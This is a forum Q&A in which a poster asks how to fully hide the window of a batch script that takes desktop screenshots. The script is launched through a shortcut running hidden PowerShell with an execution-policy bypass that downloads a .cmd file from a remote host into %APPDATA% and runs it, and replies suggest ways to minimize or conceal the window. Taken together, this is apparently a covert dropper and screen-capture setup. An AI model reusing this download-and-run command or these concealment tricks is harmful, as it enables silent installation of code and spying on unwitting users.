0

Thank you in advance for your time.

I found/edit a batch script (bat1.cmd) which take a desktop screenshot. Everything is working good actually. Here is my complete code = https://pastebin.com/KvqgFx5L .

My only request here is to hide/minimize the bat1.cmd window when i run it (within a lnk, check "NB" at the end of my message).

I made some researches and a classic solution is to use this kind of scripts :

if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit

or

if not "%minimized%"=="" goto :minimized
set minimized=true
start /min cmd /C "%~dpnx0"
goto :EOF
:minimized

Unfortunately my batch script (bat1.cmd) have special parameters that do not allow (?) to add this kind of "minimize" script (I tried to add it on top, inside the script etc and nothing is working).

NB : The batch script (bat1.cmd) is donwloaded/run within a shortcurt (bat1.lnk) but adding minimized parameters in the lnk won't minimized the bat1.cmd window (I guess ?/I made test).

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -w hidden ; (New-Object System.Net.WebClient).DownloadFile('http://host.com/bat1.cmd','%APPDATA%\bat1.cmd');Start('%APPDATA%\bat1.cmd');

Thank you a lot in advance for your help.

Etmila
  • 11
  • 3
  • I'd not try to reinvent the wheel - I suggest using [cmdow](https://ritchielawrence.github.io/cmdow/) for this. –  Aug 14 '17 at 19:33

1 Answers1

0

Ok I have found a solution. Add the "minimize" code at the top, after :batch @echo off. I guess it is alright ? The window still appears 0.1 sec and is minimized then. Any way to make it totally hidden ? I already reduced the window size column/line. I wonder if we can change the window position (without 3rd party tool) ?

// 2>nul||@goto :batch
/*
:batch
@echo off

if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit
Etmila
  • 11
  • 3
  • I would change that last line to read `If Not Defined IS_MINIMIZED (Set "IS_MINIMIZED=1" )` where `` is your commands replacing any unnecessary `&&` with `&`. – Compo Aug 14 '17 at 18:07